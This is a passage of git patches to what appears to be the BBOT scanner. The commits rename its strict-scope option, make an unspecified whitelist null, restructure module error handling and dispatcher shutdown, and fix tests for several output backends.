seeds: List = [] whitelist: List = [] blacklist: List = [] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 82ccdb1f6f..8e5c12bc15 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -124,7 +124,7 @@ class Scan(BBOTBaseModel, table=True): class Target(BBOTBaseModel, table=True): name: str = "Default Target" - strict_scope: bool = False + strict_dns_scope: bool = False seeds: List = Field(default=[], sa_type=JSON) whitelist: List = Field(default=None, sa_type=JSON) blacklist: List = Field(default=[], sa_type=JSON) diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 2d07daafad..5ea6950bfe 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -197,8 +197,8 @@ def preset_from_args(self): raise BBOTArgumentError(f'Error parsing command-line config option: "{config_arg}": {e}') # strict scope - if self.parsed.strict_scope: - args_preset.core.merge_custom({"scope": {"strict": True}}) + if self.parsed.strict_dns_scope: + args_preset.core.merge_custom({"scope": {"strict_dns": True}}) return args_preset diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 5f40b93dd9..83df3bd940 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -483,7 +483,7 @@ def bake(self, scan=None): from bbot.scanner.target import BBOTTarget baked_preset._target = BBOTTarget( - *list(self._seeds), whitelist=self._whitelist, blacklist=self._blacklist, strict_scope=self.strict_scope + *list(self._seeds), whitelist=self._whitelist, blacklist=self._blacklist, strict_dns_scope=self.strict_dns_scope ) # evaluate conditions @@ -558,8 +558,8 @@ def scope_config(self): return self.config.get("scope", {}) @property - def strict_scope(self): - return self.scope_config.get("strict", False) + def strict_dns_scope(self): + return self.scope_config.get("strict_dns", False) def apply_log_level(self, apply_core=False): # silent takes precedence diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index e7a3679ea3..6c58f363d7 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -214,12 +214,12 @@ class BBOTTarget: Provides high-level functions like in_scope(), which includes both whitelist and blacklist checks. """ - def __init__(self, *seeds, whitelist=None, blacklist=None, strict_scope=False): - self.strict_scope = strict_scope - self.seeds = ScanSeeds(*seeds, strict_dns_scope=strict_scope) + def __init__(self, *seeds, whitelist=None, blacklist=None, strict_dns_scope=False): + self.strict_dns_scope = strict_dns_scope + self.seeds = ScanSeeds(*seeds, strict_dns_scope=strict_dns_scope) if whitelist is None: whitelist = self.seeds.hosts - self.whitelist = ScanWhitelist(*whitelist, strict_dns_scope=strict_scope) + self.whitelist = ScanWhitelist(*whitelist, strict_dns_scope=strict_dns_scope) if blacklist is None: blacklist = [] self.blacklist = ScanBlacklist(*blacklist) @@ -230,7 +230,7 @@ def json(self): "seeds": sorted(self.seeds.inputs), "whitelist": sorted(self.whitelist.inputs), "blacklist": sorted(self.blacklist.inputs), - "strict_scope": self.strict_scope, + "strict_dns_scope": self.strict_dns_scope, "hash": self.hash.hex(), "seed_hash": self.seeds.hash.hex(), "whitelist_hash": self.whitelist.hash.hex(), diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 20ef9c1694..d5714dfb98 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -180,7 +180,7 @@ def test_preset_scope(): blank_preset = blank_preset.bake() assert not blank_preset.target.seeds assert not blank_preset.target.whitelist - assert blank_preset.strict_scope is False + assert blank_preset.strict_dns_scope is False preset1 = Preset( "evilcorp.com", diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index a368718048..e2de5fb6f3 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -172,7 +172,7 @@ async def test_target_basic(bbot_scanner): bbottarget3 = BBOTTarget("evilcorp.com", whitelist=["1.2.3.4/24"], blacklist=["1.2.3.4"]) bbottarget5 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"]) bbottarget6 = BBOTTarget( - "evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_scope=True + "evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_dns_scope=True ) bbottarget8 = BBOTTarget("1.2.3.0/24", whitelist=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) bbottarget9 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"]) @@ -203,7 +203,7 @@ async def test_target_basic(bbot_scanner): assert bbottarget1 != bbottarget2 assert bbottarget2 != bbottarget1 - # make sure strict_scope is considered in hash + # make sure strict_dns_scope is considered in hash assert bbottarget5 != bbottarget6 assert bbottarget6 != bbottarget5 @@ -304,7 +304,7 @@ async def test_target_basic(bbot_scanner): assert target_dict["seeds"] == ["1.2.3.0/24", "bob@fdsa.evilcorp.net", "http://www.evilcorp.net/"] assert target_dict["whitelist"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"] assert target_dict["blacklist"] == ["1.2.3.4", "4.3.2.0/24", "bob@asdf.evilcorp.net", "http://1.2.3.4/"] - assert target_dict["strict_scope"] is False + assert target_dict["strict_dns_scope"] is False assert target_dict["hash"] == "b36955a8238a71842fc5f23b11110c26ea07d451" assert target_dict["seed_hash"] == "560af51d1f3d69bc5c156fc270b28497fe52dec1" assert target_dict["whitelist_hash"] == "8ed0a7368e6d34630e1cfd419d2a73767debc4c4" @@ -327,7 +327,7 @@ async def test_target_basic(bbot_scanner): target = RadixTarget("www.evilcorp.com", "evilcorp.com", acl_mode=True) assert set(target) == {"evilcorp.com"} - # make sure strict_scope doesn't mess us up + # make sure strict_dns_scope doesn't mess us up target = RadixTarget("evilcorp.co.uk", "www.evilcorp.co.uk", acl_mode=True, strict_dns_scope=True) assert set(target.hosts) == {"evilcorp.co.uk", "www.evilcorp.co.uk"} assert "evilcorp.co.uk" in target From 7f3af826ac13639106b659e2c04061f6867a88e7 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 16 Apr 2025 11:02:26 -0400 Subject: [PATCH 084/912] ruffed --- bbot/scanner/preset/preset.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 83df3bd940..b9b45607f0 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -483,7 +483,10 @@ def bake(self, scan=None): from bbot.scanner.target import BBOTTarget baked_preset._target = BBOTTarget( - *list(self._seeds), whitelist=self._whitelist, blacklist=self._blacklist, strict_dns_scope=self.strict_dns_scope + *list(self._seeds), + whitelist=self._whitelist, + blacklist=self._blacklist, + strict_dns_scope=self.strict_dns_scope, ) # evaluate conditions From 275d6cd20dcc5deb00b3836ab06a5183822627a5 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 16 Apr 2025 11:50:18 -0400 Subject: [PATCH 085/912] strict dns scope --- bbot/test/test_step_1/test_cli.py | 2 +- bbot/test/test_step_1/test_presets.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c663810289..c38b2fc652 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -698,7 +698,7 @@ def test_cli_presets(monkeypatch, capsys, caplog): stdout_preset.pop("description") assert stdout_preset == { "config": { - "scope": {"strict": True}, + "scope": {"strict_dns": True}, "dns": {"minimal": True}, "modules": {"speculate": {"essential_only": True}}, }, diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index d5714dfb98..61807a8651 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -214,7 +214,7 @@ def test_preset_scope(): "evilcorp.org", whitelist=["evilcorp.de"], blacklist=["test.www.evilcorp.de"], - config={"scope": {"strict": True}}, + config={"scope": {"strict_dns": True}}, ) preset1.merge(preset3) From 42933e5cfcaadcbf829aec4f2525204005d54aed Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 16 Apr 2025 12:30:50 -0400 Subject: [PATCH 086/912] fix cli tests --- bbot/scanner/preset/args.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 5ea6950bfe..6368b8d41e 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -197,7 +197,7 @@ def preset_from_args(self): raise BBOTArgumentError(f'Error parsing command-line config option: "{config_arg}": {e}') # strict scope - if self.parsed.strict_dns_scope: + if self.parsed.strict_scope: args_preset.core.merge_custom({"scope": {"strict_dns": True}}) return args_preset @@ -227,7 +227,7 @@ def create_parser(self, *args, **kwargs): target.add_argument( "--strict-scope", action="store_true", - help="Don't consider subdomains of target/whitelist to be in-scope", + help="Don't consider subdomains of target/whitelist to be in-scope - exact matches only", ) presets = p.add_argument_group(title="Presets") presets.add_argument( From 5788382a1c553675d2f3cf6adc4716d3156f805e Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 16 Apr 2025 13:09:12 -0400 Subject: [PATCH 087/912] whitelist should be null if not specified --- bbot/scanner/target.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 6c58f363d7..95ca6ac3d3 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -217,6 +217,7 @@ class BBOTTarget: def __init__(self, *seeds, whitelist=None, blacklist=None, strict_dns_scope=False): self.strict_dns_scope = strict_dns_scope self.seeds = ScanSeeds(*seeds, strict_dns_scope=strict_dns_scope) + self._orig_whitelist = whitelist if whitelist is None: whitelist = self.seeds.hosts self.whitelist = ScanWhitelist(*whitelist, strict_dns_scope=strict_dns_scope) @@ -228,7 +229,7 @@ def __init__(self, *seeds, whitelist=None, blacklist=None, strict_dns_scope=Fals def json(self): return { "seeds": sorted(self.seeds.inputs), - "whitelist": sorted(self.whitelist.inputs), + "whitelist": (None if not self._orig_whitelist else sorted(self.whitelist.inputs)), "blacklist": sorted(self.blacklist.inputs), "strict_dns_scope": self.strict_dns_scope, "hash": self.hash.hex(), From 2ea6cb6960618512787d24869c1b3f3551f22945 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 16 Apr 2025 17:25:34 -0400 Subject: [PATCH 088/912] fix tests --- bbot/scanner/preset/args.py | 2 +- bbot/scanner/preset/preset.py | 2 +- bbot/test/test_step_1/test_cli.py | 2 +- bbot/test/test_step_1/test_presets.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 6368b8d41e..a34847004b 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -198,7 +198,7 @@ def preset_from_args(self): # strict scope if self.parsed.strict_scope: - args_preset.core.merge_custom({"scope": {"strict_dns": True}}) + args_preset.core.merge_custom({"scope": {"strict": True}}) return args_preset diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index b9b45607f0..268d2af545 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -562,7 +562,7 @@ def scope_config(self): @property def strict_dns_scope(self): - return self.scope_config.get("strict_dns", False) + return self.scope_config.get("strict", False) def apply_log_level(self, apply_core=False): # silent takes precedence diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c38b2fc652..c663810289 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -698,7 +698,7 @@ def test_cli_presets(monkeypatch, capsys, caplog): stdout_preset.pop("description") assert stdout_preset == { "config": { - "scope": {"strict_dns": True}, + "scope": {"strict": True}, "dns": {"minimal": True}, "modules": {"speculate": {"essential_only": True}}, }, diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 61807a8651..d5714dfb98 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -214,7 +214,7 @@ def test_preset_scope(): "evilcorp.org", whitelist=["evilcorp.de"], blacklist=["test.www.evilcorp.de"], - config={"scope": {"strict_dns": True}}, + config={"scope": {"strict": True}}, ) preset1.merge(preset3) From 5288bb02d38be6e47304373776e9d3caae858e43 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 17 Apr 2025 10:22:25 -0400 Subject: [PATCH 089/912] better error handling in modules --- bbot/modules/base.py | 53 ++++++++++++++++++++++------------------- bbot/scanner/scanner.py | 2 +- 2 files changed, 30 insertions(+), 25 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index b3aebf867c..18bfa91bcf 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -655,8 +655,8 @@ async def _worker(self): - Each event is subject to a post-check via '_event_postcheck()' to decide whether it should be handled. - Special 'FINISHED' events trigger the 'finish()' method of the module. """ - async with self.scan._acatch(context=self._worker, unhandled_is_critical=True): - try: + try: + async with self.scan._acatch(context=self._worker, unhandled_is_critical=True): while not self.scan.stopping and not self.errored: # hold the reigns if our outgoing queue is full if self._qsize > 0 and self.outgoing_event_queue.qsize() >= self._qsize: @@ -696,16 +696,18 @@ async def _worker(self): self.debug(f"Finished handling {event}") else: self.debug(f"Not accepting {event} because {reason}") - except asyncio.CancelledError: - # this trace was used for debugging leaked CancelledErrors from inside httpx - # self.log.trace("Worker cancelled") - raise - except BaseException as e: - if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): - self.scan.stop() - else: - self.error(f"Critical failure in module {self.name}: {e}") - self.error(traceback.format_exc()) + except asyncio.CancelledError: + # this trace was used for debugging leaked CancelledErrors from inside httpx + # self.log.trace("Worker cancelled") + raise + except RuntimeError as e: + self.trace(f"RuntimeError in module {self.name}: {e}") + except BaseException as e: + if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): + self.scan.stop() + else: + self.error(f"Critical failure in module {self.name}: {e}") + self.error(traceback.format_exc()) self.log.trace("Worker stopped") @property @@ -1653,8 +1655,8 @@ class BaseInterceptModule(BaseModule): _intercept = True async def _worker(self): - async with self.scan._acatch(context=self._worker, unhandled_is_critical=True): - try: + try: + async with self.scan._acatch(context=self._worker, unhandled_is_critical=True): while not self.scan.stopping and not self.errored: try: if self.incoming_event_queue is not False: @@ -1710,16 +1712,19 @@ async def _worker(self): self.debug(f"Forwarding {event}") await self.forward_event(event, kwargs) - except asyncio.CancelledError: - # this trace was used for debugging leaked CancelledErrors from inside httpx - # self.log.trace("Worker cancelled") - raise - except BaseException as e: - if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): - self.scan.stop() - else: - self.critical(f"Critical failure in intercept module {self.name}: {e}") - self.critical(traceback.format_exc()) + except asyncio.CancelledError: + # this trace was used for debugging leaked CancelledErrors from inside httpx + # self.log.trace("Worker cancelled") + raise + except RuntimeError as e: + self.trace(f"RuntimeError in intercept module {self.name}: {e}") + except BaseException as e: + if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): + self.scan.stop() + else: + self.critical(f"Critical failure in intercept module {self.name}: {e}") + self.critical(traceback.format_exc()) + self.log.trace("Worker stopped") async def get_incoming_event(self): diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 4b8109e862..1f0bd3e739 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -312,7 +312,7 @@ async def _prep(self): self._fail_setup(msg) total_modules = total_failed + len(self.modules) - success_msg = f"Setup succeeded for {len(self.modules):,}/{total_modules:,} modules." + success_msg = f"Setup succeeded for {len(self.modules) - 2:,}/{total_modules - 2:,} modules." self.success(success_msg) self._prepped = True From f5ce513cd1674529ee8e54cff18276dd71497584 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 17 Apr 2025 10:38:27 -0400 Subject: [PATCH 090/912] allow detailed status --- bbot/scanner/scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 1f0bd3e739..d84037ea6a 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -637,7 +637,7 @@ def num_queued_events(self): total += len(q._queue) return total - def modules_status(self, _log=False): + def modules_status(self, _log=False, detailed=False): finished = True status = {"modules": {}} @@ -707,7 +707,7 @@ def modules_status(self, _log=False): f"{self.name}: No events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds)" ) - if self.log_level <= logging.DEBUG: + if detailed or self.log_level <= logging.DEBUG: # status debugging scan_active_status = [] scan_active_status.append(f"scan._finished_init: {self._finished_init}") From 61234c4f326ca81f952100678033e9d4ba9d4d31 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 17 Apr 2025 11:02:28 -0400 Subject: [PATCH 091/912] fix scan tests --- bbot/test/test_step_1/test_scan.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 814d4a5248..a0bf0b1008 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -35,9 +35,9 @@ async def test_scan( assert not scan0.in_scope("www.evilcorp.co.uk") j = scan0.json assert set(j["target"]["seeds"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} - # we preserve the original whitelist inputs - assert set(j["target"]["whitelist"]) == {"1.1.1.0/32", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} - # but in the background they are collapsed + # no whitelist was set + assert j["target"]["whitelist"] is None + # but functionally it was copied from the seeds, and collapsed assert scan0.target.whitelist.hosts == {ip_network("1.1.1.0/31"), "evilcorp.com"} assert set(j["target"]["blacklist"]) == {"1.1.1.0/28", "www.evilcorp.com"} assert "ipneighbor" in j["preset"]["modules"] From f5f3049c8a3f099a00c5148c9a7470d79f73281e Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 17 Apr 2025 11:33:08 -0400 Subject: [PATCH 092/912] none whitelist --- bbot/test/test_step_2/module_tests/test_module_json.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index 3641574213..de37354d0f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -29,7 +29,7 @@ def check(self, module_test, events): assert scan["uuid"] == str(module_test.scan.root_event.uuid) assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid) assert scan["data_json"]["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan["data_json"]["target"]["whitelist"] == ["blacklanternsecurity.com"] + assert scan["data_json"]["target"]["whitelist"] is None assert dns_json["data"] == dns_data assert dns_json["id"] == str(dns_event.id) assert dns_json["uuid"] == str(dns_event.uuid) @@ -46,7 +46,7 @@ def check(self, module_test, events): assert scan_reconstructed.uuid == scan_event.uuid assert scan_reconstructed.parent_uuid == scan_event.uuid assert scan_reconstructed.data["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan_reconstructed.data["target"]["whitelist"] == ["blacklanternsecurity.com"] + assert scan_reconstructed.data["target"]["whitelist"] is None assert dns_reconstructed.data == dns_data assert dns_reconstructed.uuid == dns_event.uuid assert dns_reconstructed.parent_uuid == module_test.scan.root_event.uuid From 5c93543415ece636adb9430f631c1e85600ae55a Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 17 Apr 2025 12:39:47 -0400 Subject: [PATCH 093/912] fix sqlite test --- bbot/models/pydantic.py | 2 +- bbot/models/sql.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 816a10b0cd..45e74a0af8 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -130,7 +130,7 @@ class Target(BBOTBaseModel): name: str = "Default Target" strict_dns_scope: bool = False seeds: List = [] - whitelist: List = [] + whitelist: Optional[List] = None blacklist: List = [] hash: Annotated[str, "indexed", "unique"] scope_hash: Annotated[str, "indexed"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 8e5c12bc15..d58034ccf6 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -126,7 +126,7 @@ class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_dns_scope: bool = False seeds: List = Field(default=[], sa_type=JSON) - whitelist: List = Field(default=None, sa_type=JSON) + whitelist: Optional[List] = Field(default=None, sa_type=JSON) blacklist: List = Field(default=[], sa_type=JSON) hash: str = Field(sa_column=Column("hash", String(length=255), unique=True, primary_key=True, index=True)) scope_hash: str = Field(sa_column=Column("scope_hash", String(length=255), index=True)) From 6b715b1ba3ec2a1827ad4da55340c9a4a8ea89b9 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 17 Apr 2025 14:19:03 -0400 Subject: [PATCH 094/912] fix mongo? --- bbot/test/test_step_2/module_tests/test_module_mongo.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 3a85e1ee56..978d79c4b3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -118,6 +118,7 @@ async def check(self, module_test, events): for db_event in db_events_pydantic: db_event.pop("reverse_host") db_event.pop("inserted_at") + db_event.pop("archived") # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" From d99f0b85aa6d62a43d2f33bb155c5679faac0273 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 17 Apr 2025 14:39:53 -0400 Subject: [PATCH 095/912] fix kafka --- bbot/test/test_step_2/module_tests/test_module_kafka.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py index ee4c3a65f4..43d2eb4053 100644 --- a/bbot/test/test_step_2/module_tests/test_module_kafka.py +++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py @@ -50,6 +50,9 @@ async def setup_before_prep(self, module_test): # Wait for Kafka to be ready await self.wait_for_port_open(9092) + await asyncio.sleep(1) + + async def check(self, module_test, events): from aiokafka import AIOKafkaConsumer self.consumer = AIOKafkaConsumer( @@ -59,7 +62,6 @@ async def setup_before_prep(self, module_test): ) await self.consumer.start() - async def check(self, module_test, events): try: events_json = [e.json() for e in events] events_json.sort(key=lambda x: x["timestamp"]) From 89c4fbd5c45c2e027ebde87040ef51d2661bfa51 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 17 Apr 2025 15:45:50 -0400 Subject: [PATCH 096/912] mark scan as finished --- bbot/scanner/scanner.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index d84037ea6a..02f81933da 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -884,6 +884,7 @@ async def _cleanup(self): with contextlib.suppress(Exception): self.home.rmdir() self.helpers.clean_old_scans() + self.status = "FINISHED" def in_scope(self, *args, **kwargs): return self.preset.in_scope(*args, **kwargs) From 35cb4916bb71d912a0373d2fac200c6a2e813206 Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 19 Apr 2025 10:58:10 -0400 Subject: [PATCH 097/912] fix rabbitmq tests --- .../module_tests/test_module_rabbitmq.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py index d05808c2da..0a050220aa 100644 --- a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py +++ b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py @@ -1,5 +1,6 @@ import json import asyncio +import aio_pika from contextlib import suppress from .base import ModuleTestBase @@ -17,8 +18,6 @@ class TestRabbitMQ(ModuleTestBase): skip_distro_tests = True async def setup_before_prep(self, module_test): - import aio_pika - # Start RabbitMQ await asyncio.create_subprocess_exec( "docker", "run", "-d", "--rm", "--name", "bbot-test-rabbitmq", "-p", "5672:5672", "rabbitmq:3-management" @@ -36,18 +35,18 @@ async def setup_before_prep(self, module_test): self.log.verbose(f"Waiting for RabbitMQ to be ready: {e}") await asyncio.sleep(0.5) # Wait a bit before retrying - self.connection = connection - self.channel = await self.connection.channel() - self.queue = await self.channel.declare_queue("bbot_events", durable=True) - async def check(self, module_test, events): + connection = await aio_pika.connect_robust("amqp://guest:guest@localhost/") + channel = await connection.channel() + queue = await channel.declare_queue("bbot_events", durable=True) + try: events_json = [e.json() for e in events] events_json.sort(key=lambda x: x["timestamp"]) # Collect events from RabbitMQ rabbitmq_events = [] - async with self.queue.iterator() as queue_iter: + async with queue.iterator() as queue_iter: async for message in queue_iter: async with message.process(): event_data = json.loads(message.body.decode("utf-8")) @@ -62,7 +61,7 @@ async def check(self, module_test, events): finally: # Clean up: Close the RabbitMQ connection - await self.connection.close() + await connection.close() # Stop RabbitMQ container await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-rabbitmq", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE From 0c6c9d6b23aded0a76fa5da1c3debb5abad33e2f Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 21 Apr 2025 10:10:45 -0400 Subject: [PATCH 098/912] keep dispatcher alive til end --- bbot/scanner/scanner.py | 8 +++++-- bbot/test/test_step_1/test_presets.py | 33 +++++++++++++++++++++++++++ 2 files changed, 39 insertions(+), 2 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 02f81933da..3791f053cf 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -425,7 +425,11 @@ async def async_start(self): await self._report() await self._cleanup() + # report on final scan status and shut down dispatcher await self.dispatcher.on_finish(self) + self.dispatcher_task.cancel() + with contextlib.suppress(asyncio.CancelledError): + await self.dispatcher_task.wait() self._stop_log_handlers() @@ -828,8 +832,8 @@ def _cancel_tasks(self): # ticker if self.ticker_task: tasks.append(self.ticker_task) - # dispatcher - tasks += self.dispatcher_tasks + # we don't cancel the dispatcher task because it still needs to report on the final scan status + # tasks += self.dispatcher_tasks # manager worker loops tasks += self._manager_worker_loop_tasks self.helpers.cancel_tasks_sync(tasks) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index d5714dfb98..80056dc7f3 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -568,6 +568,39 @@ def test_preset_module_resolution(clean_default_config): } +@pytest.mark.asyncio +async def test_custom_module_dir(): + custom_module_dir = bbot_test_dir / "custom_modules" + custom_module_dir.mkdir(parents=True, exist_ok=True) + + custom_module = custom_module_dir / "testmodule.py" + with open(custom_module, "w") as f: + f.write( + """ +from bbot.modules.base import BaseModule + +class TestModule(BaseModule): + watched_events = ["SCAN"] + + async def handle_event(self, event): + await self.emit_event("127.0.0.2", parent=event) +""" + ) + + preset = { + "module_dirs": [str(custom_module_dir)], + "modules": ["testmodule"], + } + preset = Preset.from_dict(preset) + + scan = Scanner("127.0.0.0/24", preset=preset) + events = [e async for e in scan.async_start()] + event_data = [(str(e.data), str(e.module)) for e in events] + assert ("127.0.0.2", "testmodule") in event_data + + shutil.rmtree(custom_module_dir) + + @pytest.mark.asyncio async def test_preset_module_loader(): custom_module_dir = bbot_test_dir / "custom_module_dir" From 1148376d167c8f83b692436098fcd685d6eea467 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 21 Apr 2025 10:14:03 -0400 Subject: [PATCH 099/912] fix dispatcher --- bbot/scanner/scanner.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 3791f053cf..ea037d408c 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -425,11 +425,8 @@ async def async_start(self): await self._report() await self._cleanup() - # report on final scan status and shut down dispatcher + # report on final scan status await self.dispatcher.on_finish(self) - self.dispatcher_task.cancel() - with contextlib.suppress(asyncio.CancelledError): - await self.dispatcher_task.wait() self._stop_log_handlers() @@ -974,6 +971,10 @@ def status(self, status): if status != self._status: self._status = status self._status_code = self._status_codes[status] + # clean out old dispatcher tasks + for task in list(self.dispatcher_tasks): + if task.done(): + self.dispatcher_tasks.remove(task) self.dispatcher_tasks.append( asyncio.create_task( self.dispatcher.catch(self.dispatcher.on_status, self._status, self.id), From 27bd324faccc7604be175f8f7c98b403d36a7cb1 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 21 Apr 2025 10:29:41 -0400 Subject: [PATCH 100/912] better status handling --- bbot/scanner/scanner.py | 39 ++++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index ea037d408c..feb56a0b4e 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -965,26 +965,27 @@ def status(self, status): """ status = str(status).strip().upper() if status in self._status_codes: - if self.status == "ABORTING" and not status == "ABORTED": - self.debug(f'Attempt to set invalid status "{status}" on aborted scan') - else: - if status != self._status: - self._status = status - self._status_code = self._status_codes[status] - # clean out old dispatcher tasks - for task in 